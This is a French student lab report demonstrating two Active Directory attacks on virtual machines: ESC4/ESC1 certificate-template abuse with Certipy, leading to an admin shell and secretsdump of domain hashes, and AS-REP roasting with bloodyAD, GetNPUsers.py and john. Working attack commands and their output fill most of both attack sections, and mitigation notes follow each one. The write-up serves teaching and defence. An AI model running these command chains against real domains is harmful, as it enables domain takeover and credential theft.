00010
26001
00111
Ecole de cybersécurité

Sécurité des systèmes Windows

Présentation de deux vulnérabilités Active Directory

Namolaru Leonard D'halluin Wauthier Desrue Axel

19 juillet 2024

La structure globale du fichier est basée sur un modèle de la galerie des modèles de Google Docs : Fiche de lecture par Reading Rainbow

1. Présentation de l'AD mis en place

1.1. Création d'un Active Directory (AD) avec des VM

Nous commençons par la mise en place d'un DC (Domain Controller) sur une VM Windows Server 2022 en utilisant l'édition d'évaluation offerte par Microsoft. Dans le cas de la vulnérabilité « Permissions dangereuses sur les objets de modèles de certificats », le nom de domaine est « nsa.gov », tandis que pour la vulnérabilité « Comptes privilégiés sans pré authentification Kerberos », le nom de domaine est « lotr.gov » (Chacun avait son environnement de travail différent et travaillait sur la faille qui lui avait été assignée en amont).

Dans le cas du domaine « lotr.gov », on a une machine client Windows 10 associée au domaine, et pour « nsa.gov », nous ajoutons au domaine une deuxième machine virtuelle Windows Server 2022. A chaque fois, nous effectuons l'attaque depuis une troisième machine (une machine Ubuntu dans le cas de la vulnérabilité « Comptes privilégiés sans pré-authentification Kerberos », et Windows 11 pour la vulnérabilité « Permissions dangereuses sur les objets de modèles de certificats »).

1.2. Remplissage de l'AD avec de fausses données

Le framework BadBlood remplit un domaine Microsoft Active Directory avec une structure et des milliers d'objets. Une fois BadBlood exécuté sur un domaine, les analystes et ingénieurs en sécurité peuvent s'entraîner à utiliser des outils pour mieux comprendre et prescrire la sécurisation d'Active Directory. Chaque fois que cet outil s'exécute, il produit des résultats différents (les utilisateurs, les groupes, les ordinateurs et les autorisations sont différents).

On commence par ouvrir une console PowerShell et saisir la commande **git clone https://github.com/davidprowe/badblood.git**. Avant d'exécuter le script, notre utilisateur doit être membre du groupe Administrateurs de schéma (une fois l'exécution terminée, il est recommandé de supprimer l'utilisateur de ce groupe.). Cette exécution (**./invoke-badblood.ps1**) doit être effectuée à l'aide d'une console en mode administrateur.

Bilan post-installation

```
PS C:\Users\namolaru\Documents\badblood> (Get-ADUser -f *).count
2495
PS C:\Users\namolaru\Documents\badblood> (Get-ADGroup -Filter *).count
546
PS C:\Users\namolaru\Documents\badblood> (Get-ADComputer -Filter *).count
101
```

2. Permissions dangereuses sur les objets de modèles de certificats

2.1. Introduction

Les services de certificats Active Directory (AD CS, Active Directory Certificate Services) sont un rôle Windows Server permettant d'émettre et de gérer des certificats d'infrastructure à clé publique (PKI, Public Key Infrastructure) utilisés dans le cadre des protocoles de communication et d'authentification sécurisés. Nous pouvons ainsi utiliser AD CS pour améliorer la sécurité en liant l'identité d'une personne, d'un ordinateur ou d'un service à une clé privée correspondante.

Les modèles de certificat peuvent grandement simplifier la tâche d'administration d'une autorité de certification (CA, Certification Authority) des services de certificats Active Directory en permettant à un administrateur d'émettre des certificats préconfigurés pour des tâches sélectionnées.

Plus précisément, les modèles de certificat sont des ensembles de règles et de paramètres configurés sur une autorité de certification à appliquer aux demandes de certificats entrantes.

2.1. Description de la vulnérabilité

Dans le domaine de la sécurité Active Directory, un point qui a retenu l'attention est l'exploitation de services de certificats Active Directory mal configurés et, en particulier, de listes de contrôle d'accès (ACL, Access Control List) faibles sur les modèles de certificat. Cette notion d'« ACL faibles » fait référence aux entrées de contrôle d'accès (ACE, Access Control Entries) qui accordent des autorisations excessives à des utilisateurs ou des groupes non autorisés. Ces autorisations permettent aux attaquants de modifier les propriétés du modèle ou même l'ACL elle-même, conduisant potentiellement à une escalade de domaine. En 2021, des chercheurs de Spectre Ops ont attiré l'attention sur ce problème dans une présentation intitulée « Certified Pre-Owned ».

Dans ce contexte, il nous a été demandé de démontrer un chemin de contrôle à partir de permissions dangereuses sur des objets de modèles de certificats. Un chemin de contrôle n'est pas une vulnérabilité basée sur une simple mauvaise configuration, mais plutôt une chaîne d'actions qui pourrait permettre à un attaquant qui compromettrait un compte utilisateur d'obtenir des privilèges d'administrateur, voire le contrôle total de l'environnement Active Directory. Afin de présenter un tel chemin d'attaque, nous allons nous concentrer sur deux des méthodes d'attaque mises en avant dans le document « PreCertified -Owned » : ESC1 et ESC4.

ESC4 se produit lorsqu'un utilisateur dispose de privilèges d'écriture sur un modèle de certificat. Cela peut être abusé pour écraser la configuration du modèle de certificat afin de rendre le modèle vulnérable à ESC1.

La spécification SAN (Subject Alternate Name) permet aux utilisateurs de spécifier des identités supplémentaires (telles que des adresses e-mail ou des noms de domaine) pour un certificat. Par défaut, cette fonctionnalité peut être désactivée dans les modèles de certificat pour restreindre les types d'identités pouvant être incluses dans un certificat. Cependant, si un attaquant dispose des autorisations **WriteDacl** sur un modèle, il peut activer la spécification SAN et inclure des identités arbitraires dans les certificats qu'il émet. L'idée est de modifier le certificat afin de le rendre vulnérable à ESC1, ce qui permet à un utilisateur de fournir un Subject Alternative Name arbitraire.

Un modèle de certificat avec la vulnérabilité ESC1 permet donc aux utilisateurs peu privilégiés de s'inscrire et de demander un certificat au nom de tout objet de domaine spécifié par l'utilisateur. Cela signifie que tout utilisateur disposant de droits d'inscription peut demander un certificat pour un compte privilégié tel qu'un administrateur de domaine.

2.2. Reproduction de la vulnérabilité

1. Installation du rôle de serveur AD CS (Active Directory Certificate Services) sur le DC

- Gestionnaire de serveur > Gérer > Ajouter des rôles et fonctionnalités
- Installation basée sur un rôle ou une fonctionnalité
- Sélectionner un serveur du pool de serveurs
    - Choisir « DC.NSA.GOV »
- Choisir « Services de certificats Active Directory »
- Sur la Pop-Up, cocher la case « Inclure les outils de gestion », puis sur « Ajouter des fonctionnalités ».
- Laisser la fenêtre suivante sans changements et passer à la suivante
- Services de rôle : Cocher la case « Autorité de certification »
- Cocher « Redémarrer automatiquement le serveur de destination, si nécessaire » et installer.

2. Configurations post-déploiement AD CS

Sur l'utilitaire « Utilisateurs et ordinateurs Active Directory »

- Choisir « Users » depuis le menu à gauche.
- Clic droit sur l'utilisateur « namolaru » > Propriétés > Membre de > Ajouter > Avancé > Rechercher > Administrateurs de l'entreprise > Appliquer > OK.

- Même procédure pour ajouter cet utilisateur également au groupe « Admins du domaine » (être membre d'au moins un de ces 2 groupes est indispensable pour pouvoir créer une autorité de certification de type Enterprise).
- Se déconnecter et se reconnecter à l'utilisateur pour mettre à jour le jeton Kerberos.

De retour sur le Gestionnaire de serveur, sous Notifications (l'icône avec le drapeau, cliquer sur le message « Configurer les services de certificats Active Directory sur le serveur de destination ».

- Sélectionner un compte utilisateur qui se trouve dans au moins un des deux groupes ci-dessus.
- Sélectionner « Autorité de certification »
- Puisque nous sommes sur un domaine, on sélectionne « Autorité de certification d'entreprise »
- Puisqu'il s'agit de notre premier serveur PKI, nous sélectionnons « Autorité de certification racine »
- Créer une clé privée SHA256
- Sur l'écran « Spécifier le nom de l'AC », les champs sont déjà pré remplis.
- Saisir une période de validité. Il s'agit de la fréquence à laquelle le certificat de l'autorité de certification expirera et devra être renouvelé sur l'autorité de certification subordonnée (le cas échéant). La période de validité configurée pour le certificat CA doit dépasser la période de validité des certificats qu'elle émettra.

3. Créer un modèle de certificat

- Chercher « Autorité de certification » à travers la barre de recherche.
- Clic sur la flèche à gauche de « NSA-DC-CA » sur le menu à gauche.
    - Clic droit sur « Modèles de certificats » > Gérer
    - Clic droit sur Authentification de station de travail, puis « Dupliquer le modèle »
    - Sur l'onglet Général, saisir « v-B-Servers » comme nom complet du modèle, puis sélectionner une période de validité de 2 ans. Cocher la case « Publier le certificat dans Active Directory ».
    - Onglet Sécurité : Accorder aux utilisateurs authentifiés les privilèges « Lecture » et « Écriture » sur le modèle.
    - Appliquer, OK

- De retour sur l'utilitaire « Autorité de certification », clic droit sur « Modèles de certificats » > Nouveau > Modèle de certificat à délivrer > Sélectionner le nouveau modèle de certificat et cliquer sur OK.

2.3. Exploitation de la vulnérabilité

Pour l'exploitation de la vulnérabilité, nous utilisons l'outil **Certipy** sur une machine distante (la machine hôte qui héberge nos machines virtuelles, par exemple). C'est un outil pour l'énumération et les abus des services de certificats Active Directory : **https://github.com/ly4k/Certipy**

Installation : **pip3 install certipy-ad**

```
# 1 - TROUVER LES MODÈLES DE CERTIFICATS VULNÉRABLES PRÉSENTS DANS LE DOMAINE
# La première étape pour exploiter les ACLs faibles sur les modèles de certificat consiste à énumérer
# les entrées de contrôle d'accès sensibles. Cela implique d'identifier les modèles qui ont des ACLs
# faibles et les autorisations spécifiques accordées aux utilisateurs ou groupes non autorisés.
> certipy find -vulnerable -dc-ip '192.168.56.101' -u 'leonard' -p 'bonjour1234*' -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Found 34 certificate templates
```

```
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
...
Certificate Authorities
    CA Name                 : NSA-DC-CA
    DNS Name                : DC.NSA.GOV
    Certificate Subject     : CN=NSA-DC-CA, DC=NSA, DC=GOV
    ...
    Web Enrollment          : Disabled
    User Specified SAN      : Disabled
    Request Disposition     : Issue
    Enforce Encryption for Requests : Enabled

  ...
  Enroll                    : NSA.GOV\Authenticated Users

Certificate Templates
    Template Name           : v-B-Servers
    Display Name            : v-B-Servers
    Certificate Authorities : NSA-DC-CA
    Enabled                 : True
    Client Authentication   : True
    Enrollment Agent        : False
    Any Purpose             : False
    Enrollee Supplies Subject : False
    Certificate Name Flag   : SubjectAltRequireDns
    Enrollment Flag         : AutoEnrollment
...
  Permissions
    Enrollment Permissions
      Enrollment Rights     : NSA.GOV\Admins du domaine
                              NSA.GOV\Ordinateurs du domaine
                              NSA.GOV\Administrateurs de l'entreprise
      Object Control Permissions
        Owner               : NSA.GOV\namolaru
        Write Owner Principals : NSA.GOV\Admins du domaine
                              NSA.GOV\Administrateurs de l'entreprise
                              NSA.GOV\namolaru
                              NSA.GOV\Authenticated Users
        Write Dacl Principals : NSA.GOV\Admins du domaine
                              NSA.GOV\Administrateurs de l'entreprise
                              NSA.GOV\namolaru
                              NSA.GOV\Authenticated Users
        Write Property Principals : NSA.GOV\Admins du domaine
                              NSA.GOV\Administrateurs de l'entreprise
                              NSA.GOV\namolaru
                              NSA.GOV\Authenticated Users

  [!] Vulnerabilities
    ESC4                    : 'NSA.GOV\\Authenticated Users' has dangerous permissions
```

```
# 2 - ACTIVATION DE LA SPÉCIFICATION SUBJECT ALTERNATE NAME (SAN)
# Cette étape consiste à modifier le modèle vulnérable pour le rendre vulnérable à une autre mauvaise
# configuration. Nous utilisons Certipy pour modifier le certificat afin de le rendre vulnérable à ESC1, ce
# qui permet à un utilisateur de fournir un Subject Alternative Name arbitraire. Nous utilisons save-old
#pour enregistrer l'ancienne configuration. Cela nous permet de restaurer le modèle après l'exploitation.
> certipy template -u 'leonard' -p 'bonjour1234*' -template 'v-B-Servers' -save-old -target-ip '192.168.56.101'
[*] Saved old configuration for 'v-B-Servers' to 'v-B-Servers.json'
[*] Updating certificate template 'v-B-Servers'
[*] Successfully updated 'v-B-Servers'

# 3 - DEMANDER UN NOUVEAU CERTIFICAT
# Demande d'un nouveau certificat en précisant qu'il  s'agit du compte « administrateur » (on utilise le
# format account@domain). On écrit « administrateur » et pas « administrator » car les résultats de
# l'étape 1 montrent que l'OS est en français. Les informations comme le nom du CA sont également
# affichées sur les résultats de l'étape 1 de l'exploitation.
> certipy req -u 'leonard' -p 'bonjour1234*' -ca 'NSA-DC-CA' -target 192.168.56.101 -template v-B-Servers -upn
administrateur@nsa.gov -dc-ip 192.168.56.101

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 22
[*] Got certificate with UPN 'administrateur@nsa.gov'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrateur.pfx'

# 4 - RESTAURER LE MODÈLE DE CERTIFICAT
> certipy template -u 'leonard' -p 'bonjour1234*' -template 'v-B-Servers' -configuration 'v-B-Servers.json' -dc-ip '192.168.56.101'

Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating certificate template 'v-B-Servers'
[*] Successfully updated 'v-B-Servers'

 # 5 - AUTHENTIFICATION AUPRÈS DU CONTRÔLEUR DE DOMAINE À L'AIDE DU CERTIFICAT
# De cette façon, nous obtenons le ticket TGT de l'utilisateur et son hash NTLM.
> certipy auth -pfx 'administrateur.pfx' -dc-ip 192.168.56.101
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrateur@nsa.gov
[*] Got TGT
[*] Saved credential cache to 'administrateur.ccache'
[*] Trying to retrieve NT hash for 'administrateur'

[*] Got hash for 'administrateur@nsa.gov':
 aad3b435b51404eeaad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6
```

2.5. Post-exploitation : Overpass the Hash/Pass the Key (PTK)

L'attaque Overpass The Hash/Pass The Key est conçue pour les environnements où le protocole NTLM traditionnel est restreint et où l'authentification Kerberos est prioritaire. Cette attaque exploite le hachage NTLM ou les clés AES d'un utilisateur pour solliciter des tickets Kerberos, permettant ainsi un accès non autorisé aux ressources d'un réseau.

Pour exécuter cette attaque, la première étape consiste à acquérir le hachage NTLM. Une fois cette information obtenue, un Ticket Granting Ticket (TGT) pour le compte peut être obtenu, permettant à l'attaquant d'accéder à des services ou des machines pour lesquels l'utilisateur dispose d'autorisations.

Pour réaliser cette attaque, on commence par télécharger Impacket (**git clone https://github.com/fortra/impacket**). Impacket est une collection de classes Python permettant de travailler avec des protocoles réseau, qui se concentre sur un accès programmatique de bas niveau aux paquets, et fournit un ensemble d'outils comme exemples de ce qui peut être fait dans le contexte de cette bibliothèque, comme un outil qui nous permet d'utiliser un hachage NT pour acquérir un Ticket Granting Ticket (TGT) valide auprès d'un contrôleur de domaine, par exemple.

```
# 1 - OBTENIR UN TICKET GRANTING TICKET (TGT) POUR LE COMPTE
# GetTGT.py : Étant donné un mot de passe, un hachage ou une clé aesKey, ce script demandera un TGT et l'enregistrera en cache.
> python .\impacket\examples\getTGT.py nsa.gov/administrateur -dc-ip 192.168.56.101 -hashes aad3b435b51404eeaad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6

Impacket v0.12.0.dev1+20240626.193148.f827c8c - Copyright 2023 Fortra
[*] Saving ticket in administrateur.ccache

# Maintenant que nous avons un ticket, nous pouvons l'utiliser avec tous les outils impacket (notamment smbexec.py ou wmiexec.py), comme alternative à la fourniture d'un mot de passe ou d'un hachage NT, élargissant ainsi la portée de l'attaque.

# Il faut définir la variable d'environnement KRB5CCNAME avec comme valeur l'emplacement du ticket, car certains outils l'utilisent pour trouver le ticket.
>[System.Environment]::SetEnvironmentVariable('KRB5CCNAME','C:\Users\lenny\Documents\Ecole2600\A1S2\Sécurité Windows\administrateur.ccache')

# 2 - OBTENIR UN SHELL
# wmiexec.py : un shell semi-interactif, utilisé via Windows Management Instrumentation (WMI). Il ne
# nécessite pas d'installer de service/agent sur le serveur cible. Il s'exécute en tant qu'administrateur.
# Très furtif. Un point important est que nous devons spécifier un FQDN (« @dc.nsa.gov ») lors de
#l'utilisation de l'authentification Kerberos. Sinon, nous obtiendrons une erreur
# KDC_ERR_S_PRINCIPAL_UNKNOWN (on récupère cette information depuis les résultat de la première
# commande de la phase d'exploitation).
> python .\impacket\examples\wmiexec.py administrateur@192.168.56.101@dc.nsa.gov -dc-ip 192.168.56.101 -target-ip 192.168.56.101 -debug -no-pass -k
Impacket v0.12.0.dev1+20240626.193148.f827c8c - Copyright 2023 Fortra

[+] Impacket Library Installation Path: C:\Users\lenny\AppData\Local\Programs\Python\Python312\Lib\site-packages\impacket
[+] Using Kerberos Cache: C:\Users\lenny\Documents\Ecole2600\A1S2\Sécurité Windows\administrateur.ccache
[+] Domain retrieved from CCache: NSA.GOV
[+] SPN CIFS/DC.NSA.GOV@NSA.GOV not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for KRBTGT/NSA.GOV@NSA.GOV
[+] Using TGT from cache
[+] Trying to connect to KDC at 192.168.56.101:88
[*] SMBv3.0 dialect used
```

```
[+] Using Kerberos Cache: C:\Users\lenny\Documents\Ecole2600\A1S2\Sécurité Windows\administrateur.ccache
[+] Domain retrieved from CCache: NSA.GOV
[+] SPN HOST/DC.NSA.GOV@NSA.GOV not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for KRBTGT/NSA.GOV@NSA.GOV
[+] Using TGT from cache
[+] Trying to connect to KDC at 192.168.56.101:88
[+] Target system is dc.nsa.gov and isFQDN is True
[+] StringBinding: DC[60434]
[+] StringBinding chosen: ncacn_ip_tcp:dc.nsa.gov[60434]
[+] Using Kerberos Cache: C:\Users\lenny\Documents\Ecole2600\A1S2\Sécurité Windows\administrateur.ccache
[+] Domain retrieved from CCache: NSA.GOV
[+] SPN HOST/DC.NSA.GOV@NSA.GOV not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for KRBTGT/NSA.GOV@NSA.GOV
[+] Using TGT from cache
...
[+] Trying to connect to KDC at 192.168.56.101:88

[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:\>whoami
nsa\administrateur

C:\>whoami /groups
...
BUILTIN\Administrateurs                    Alias          S-1-5-32-544
...
NSA\Admins du domaine                      Groupe         S-1-5-21-3573896558-2767856579-2876925545-512 Groupe
obligatoire, Activé par défaut, Groupe activé
...
NSA\Administrateurs du schéma              Groupe         S-1-5-21-3573896558-2767856579-2876925545-518 Groupe
obligatoire, Activé par défaut, Groupe activé
NSA\Administrateurs de l'entreprise        Groupe         S-1-5-21-3573896558-2767856579-2876925545-519 Groupe
obligatoire, Activé par défaut, Groupe activé

# 3 - ON DUMP LES HACHAGES ET LES SECRETS LSA EN UTILISANT SECRETSDUMP
# secretsdump.py : exécute diverses techniques pour dump les secrets de la machine distante sans y
# exécuter d'agent. Pour les secrets SAM et LSA (y compris les informations d'identification mis en
#cache), nous essayons de lire autant que possible dans le registre, puis nous enregistrons dans le
# système cible (répertoire %SYSTEMROOT%\Temp) et lisons le reste des données à partir de là.

# Pour les fichiers DIT, on dump les hachages NTLM, les informations d'identification en texte claire (si disponibles) et les clés Kerberos à l'aide de la méthode DL_DRSGetNCChanges().
# Il peut également dump NTDS.dit via vssadmin exécuté avec l'approche smbexec/wmiexec.
# Le script initie les services nécessaires à son fonctionnement s'ils ne sont pas disponibles (par exemple Remote Registry, même s'il est désactivé).
# Une fois les actions terminées, les choses sont remises dans leur état d'origine.
```

```
> python impacket\examples\secretsdump.py -hashes 'aad3b435b51404eeaad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6' 'NSA/Administrateur@192.168.56.101' > dump.txt

> more .\dump.txt
Impacket v0.12.0.dev1+20240626.193148.f827c8c - Copyright 2023 Fortra

[*] Target system bootKey: 0x55c4cde8885baaee3b9eb8841d4d6d58
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:50802d9f4ebd3a886e33c0964e2e6ea0:::
InvitÚ:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NSA\DC$:aes256-cts-hmac-sha1-96:6d25374bb613321822b1a7198d53f37fb9108266e13ca17ccfd04ce5bd1115ef
NSA\DC$:aes128-cts-hmac-sha1-96:413524d348d6235bf2c5cd8c4ce1ae11
NSA\DC$:des-cbc-md5:0132101604c1fdec
...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6:::
InvitÚ:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1636a95ee119b61ab00181b81bcd4ab6:::
namolaru:1000:aad3b435b51404eeaad3b435b51404ee:ae432e907f05300406cc7139b771b9f9:::
NSA.GOV\joinsrv:1106:aad3b435b51404eeaad3b435b51404ee:f38cf8cc425151fa9705fd8715033102:::
NSA.GOV\ALEXIS_CHURCH:1108:aad3b435b51404eeaad3b435b51404ee:2483af5cae42283e410b4b4533020139:::
NSA.GOV\CORINA_ESTES:1109:aad3b435b51404eeaad3b435b51404ee:86c96f90f13add79f0aa98754ba5c5c8:::
NSA.GOV\ANTOINETTE_SAMPSON:1110:aad3b435b51404eeaad3b435b51404ee:dc3cc74765f3e7405774346d591261aa:::
...
```

Ces hachages peuvent être utilisés pour reproduire le même processus avec d'autres utilisateurs.

2.6. Détection et correctifs pour éliminer la vulnérabilité

Pour atténuer le risque de faiblesse des ACL sur les modèles de certificat, les organisations doivent régulièrement auditer et examiner les autorisations attribuées à ces modèles. Plus précisément, les comptes dotés des autorisations **FullControl**, **WriteOwner**, **WriteDacl** ou **WriteProperty** doivent être soigneusement surveillés et limités au personnel autorisé uniquement.

Des outils tels que **PSPKIAudit** peuvent aider les organisations à identifier et à évaluer les autorisations attribuées aux modèles de certificat, leur permettant ainsi de prendre les mesures appropriées pour remédier à toute ACL faible.

Du côté de la détection, les organisations doivent surveiller activement l'ID d'événement Windows 4899, qui enregistre les modifications apportées à un modèle de certificat, mais il est crucial de noter que cet événement n'est enregistré que si le

modèle s'inscrit après la modification. Par conséquent, les organisations doivent également être vigilantes à l'égard de toute activité d'inscription suspecte ou non autorisée.

De plus, les organisations peuvent disposer de modèles de certificat autorisant le SAN et prenant en charge l'une des EKU (Extended Key Usage) d'authentification client. Si tel est le cas et que c'est nécessaire pour certaines raisons, la meilleure stratégie d'atténuation consisterait à activer l'approbation du gestionnaire de CA (CA Manager Approval) sur ces modèles de certificat et à garantir que seuls les utilisateurs nécessaires sont autorisés à s'inscrire à ce certificat.

3. Comptes privilégiés sans pré authentification Kerberos

3.1. Contexte

En environnement Active Directory, l'authentification Kerberos est initiée par une demande de ticket d'authentification (TGT). Les données de pré-authentification incluses dans cette requête (AS-REQ) comprennent un horodatage (timestamp) chiffré avec une clé cryptographique dérivée du mot de passe de ce sujet. À la réception du message AS-REQ, le service Kerberos du contrôleur de domaine (Key Distribution Center ou KDC) tente de déchiffrer le timestamp pour valider l'identité du sujet (et vérifier la bonne synchronisation des horloges par la même occasion). Le contrôleur de domaine retourne un TGT si l'authentification s'avère valide (AS-REP), ou un code d'erreur dans le cas contraire. Le sujet peut ensuite utiliser le TGT comme preuve d'identité, qu'il présente au KDC pour obtenir des tickets d'accès à des services.

Les opérations relatives à l'authentification Kerberos ne sont pas toujours remontées dans les journaux des contrôleurs de domaine, ce qui fait de ce protocole une arme de choix pour mener des attaques furtives en environnement Active Directory. Le mécanisme de pré-authentification de ce protocole offre par exemple des possibilités intéressantes pour attaquer les comptes d'un domaine.

3.2. Description de la vulnérabilité

Microsoft propose une option "Do not require Kerberos preauthentication" pour permettre à un compte utilisateur donné de solliciter l'obtention d'un TGT sans inclure de données de pré-authentification dans la requête AS-REQ. La réponse AS-REP retournée par le KDC inclut une clé de session chiffrée avec celle dérivée du mot de passe de l'utilisateur, en plus du TGT chiffré avec le compte krbtgt.

Ce bloc de données peut être cassé par attaque hors ligne afin d'obtenir le mot de passe de l'utilisateur. La suite cryptographique AES256-CTS-HMAC-SHA1-96 (Encryption Type 18) est utilisée par défaut à partir de Windows Server 2008, mais en forgeant le

message AS-REQ il est possible de forcer une dégradation du chiffrement en spécifiant l'utilisation de ARCFOUR-HMAC-MD5 (Encryption Type 23) qui est bien plus rapide à casser.

À partir d'un accès à l'annuaire Active Directory, la recherche d'objets dont l'attribut LDAP userAccountControl comporte le drapeau **DONT_REQ_PREAUTH** permet de dresser une liste des comptes vulnérables à cette attaque connue sous le nom de AS-REP roasting. Les empreintes RC4-HMAC des mots de passe associés peuvent ensuite être obtenues en forgeant des requêtes AS-REQ sans aucune forme d'authentification préalable :

```
> Invoke-PowerSpray -Domain exemple.test -Ldap -LdapUser testuser -LdapPass P@ssw0rd
[+] fabien.oumal@exemple.test does not require Kerberos preauthentication!
$krb5asrep$23$fabien.oumal@exemple.test:FE6B13376095AF5B4B800C990B5DE42C$0878BE21AA456F2673313B8620BDF3
DD44F2A13086F59C9862241B011307F2165E23F3995C0F4A1174C2E4AF269D2AA5899A70F223D56D686FF1FD025946ACE
5C1787E63E152C619E08D92120B1E84F317785751679E49ED9865FBF0CCC68A4143137B1AB0DF5276D8DF8B600DE6A759
8248620608DF6B4318975DBD7634F9B188AFD4691108FFB16862A32EADA74E12326DB47555E65AD031FA1F139E26A4AF
0C44A580709A1F85025144FF8C5DC0AB74F21511CDAF818F47A37CD67684A954C1256FD3848BE80D8959D56E0DBA94E9
DF46192F540DC7C30D29AB6ACF36DCB9584D3DFF747F92FE523B
```

3.3. Reproduction de la vulnérabilité

- Sur l'utilitaire « Utilisateurs et ordinateurs Active Directory », clic droit sur l'utilisateur « wauthier » (c'est ce compte qu'on vise) > Propriétés > Compte.
- On coche la case « La pré-authentification Kerberos n'est pas nécessaire ».

Le compte « wauthier » est désormais vulnérable, ceci est donc une chose à ne jamais faire dans un réel environnement AD d'entreprise.

3.4. Exploitation de la vulnérabilité

- On installe bloodyAD avec **pip install bloodyAD**. bloodyAD est un couteau suisse d'escalade de privilèges Active Directory. Cet outil peut effectuer des appels LDAP spécifiques vers un contrôleur de domaine afin d'effectuer des privilèges AD. Il prend en charge l'authentification à l'aide de mots de passe en texte clair, de pass-the-hash, de pass-the-ticket ou de certificats et se lie aux services LDAP d'un contrôleur de domaine pour effectuer des privilèges AD. L'échange d'informations sensibles sans LDAPS est également pris en charge.

- **Enumération :** la deuxième étape consiste à identifier si des comptes utilisateurs ont activé l'option "La pré-authentification Kerberos n'est pas nécessaire" avec l'outil bloodAD.

```
> bloodyAD -u wauthier -p 'MoulinsLM**2934' -d lotr.gov --host 10.0.2.12 get search --filter
'(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
--attr sAMAccountName | grep 'sAMAccountName:' | awk -F': ' '{print $2}' | sort | uniq > RealOutputEnumUsers.txt

# On avait besoin au préalable d'un nom d'utilisateur ainsi que de son mot de passe pour
# se connecter à l'AD.
```

```
# On a donc utilisé le mot de passe et le nom d'utilisateur que l'on connaissait déjà au
# préalable. En mode boîte noire, on va plutôt faire une recherche OSINT pour trouver un
# ou plusieurs comptes exploitables directement avant de lancer cette commande.

# On met les noms d'utilisateurs par ordre alphabétique à la fin après avoir supprimé les
# doublons.
```

On a en sortie un fichier qui contiendra tous les noms de comptes vulnérables à l'AS-REP Roasting.

Ce filtre permet donc de lister les comptes LDAP ayant l'option "Don't require preauth" cochée.

- **userAccountControl:1.2.840.113556.1.4.803:=2** permet d'afficher les utilisateurs désactivés.
- **userAccountControl:1.2.840.113556.1.4.803:=4194304** permet d'afficher les utilisateurs ayant l'option activée.

- **Récupération des TGT des différents comptes sans pré-authentification :** On va désormais vouloir récupérer les différents tickets TGT d'un utilisateur (pas besoin de plus), dans ce cas l'utilisateur "wauthier", avec l'outil **GetNPUsers.py** de la suite **Impackets**.

```
>GetNPUsers.py -request -format john -dc-ip 10.0.2.12 -usersfile RealOutputEnumUsers.txt lotr.gov/ -outputfile outp.txt && cat outp.txt

Impacket v0.11.0 - Copyright 2023 Fortra

$krb5asrep$23$6078035142SA@LOTR.GOV:537b5e2e49fd5f224aa55e124bb3305b$14f77941a22cf59ee9fc8bae11db47e60371582989ac2f2ac599b816fc0e97e2f6512847f9eaf0f569d9817c260f00d0c193dc56252501fec4ccc259e1ceba43a983b4ed6e95dec77e71ac4ee49995f5990f06ffddd02f9fbeb502fcae413cfa96bf5c4097fcbe43328dab476cf3d55e36db8fcf01ae108afd1e748821f389b0184e73ea476ec928aaf8258da11cd735411625bff3f38fa07d791fcea32dabbec5243ecdbe92c552e500d2c6efebcdf01038c05451f8154c10867b88731d1dcc1c868edbea7e4c334fe773e72e48fb71338b3120560e7340d2000d3d8044fc67451eb757
...
```

Le TGT de Wauthier qui nous intéresse :

```
krb5asrep$23$wauthier@LOTR.GOV:26b2f7a92b19b10bc7d5e31342d52ead$ea1b95167d8e7a7b25b758002604d98708a6bd76a41a3e310a965e8774dcb50fb8190d5ca39ccd229f079ad4908314e940d6be8c4fe4f2d50d04cf6e4fdfa328132d9004976d49cd1081d2dc501f08afe35fa68e8fdffed774bfb27b39898a185b90d7625db1f3c8037eacf0c0a4bee07bcc18d61d6654d2b13fb5fef2fef351a3709fdbf29f8a33b2d9722c58f6863ec1c5b62fc0aa329dc1dd1d2bc5799ef456dc4e1e62272dbf88c693321e5c6c6870d6f397c6eeb3e41366d36f0aca23a39bbac2f657bbd957b79519fbcd5efb421a1569dfd2b7e2d993c3f994dfd3d952abc4a282
```

- **Quatrième étape :** On va désormais vouloir trouver le mot associé au TGT en le brute forçant avec **john**.

```
> john --wordlist=wordlist.txt hash.txt
```

On récupère ainsi le mot de passe "MoulinsLM//2934".

Nous aurions pu effectuer les mêmes opérations pour n'importe lequel des utilisateurs ayant l'option de pré-authentification activée et obtenir les différents mots de passe.

3.5. Correctifs pour éliminer la vulnérabilité

La pré-authentification Kerberos ne génère par défaut aucun événement en cas d'échec. Pour détecter les attaques exploitant ce mécanisme, la journalisation avancée doit tout d'abord être activée grâce au paramètre de stratégie de groupe Audit: Force audit policy subcategory settings to override audit policy category settings. Dans la catégorie Account Logon, la journalisation des opérations en échec de la sous-catégorie Audit Kerberos authentication Service doit a minima être activée. Avec cette configuration, une authentification Kerberos en échec génère un événement 4771 « Kerberos pre-authentication failed ».

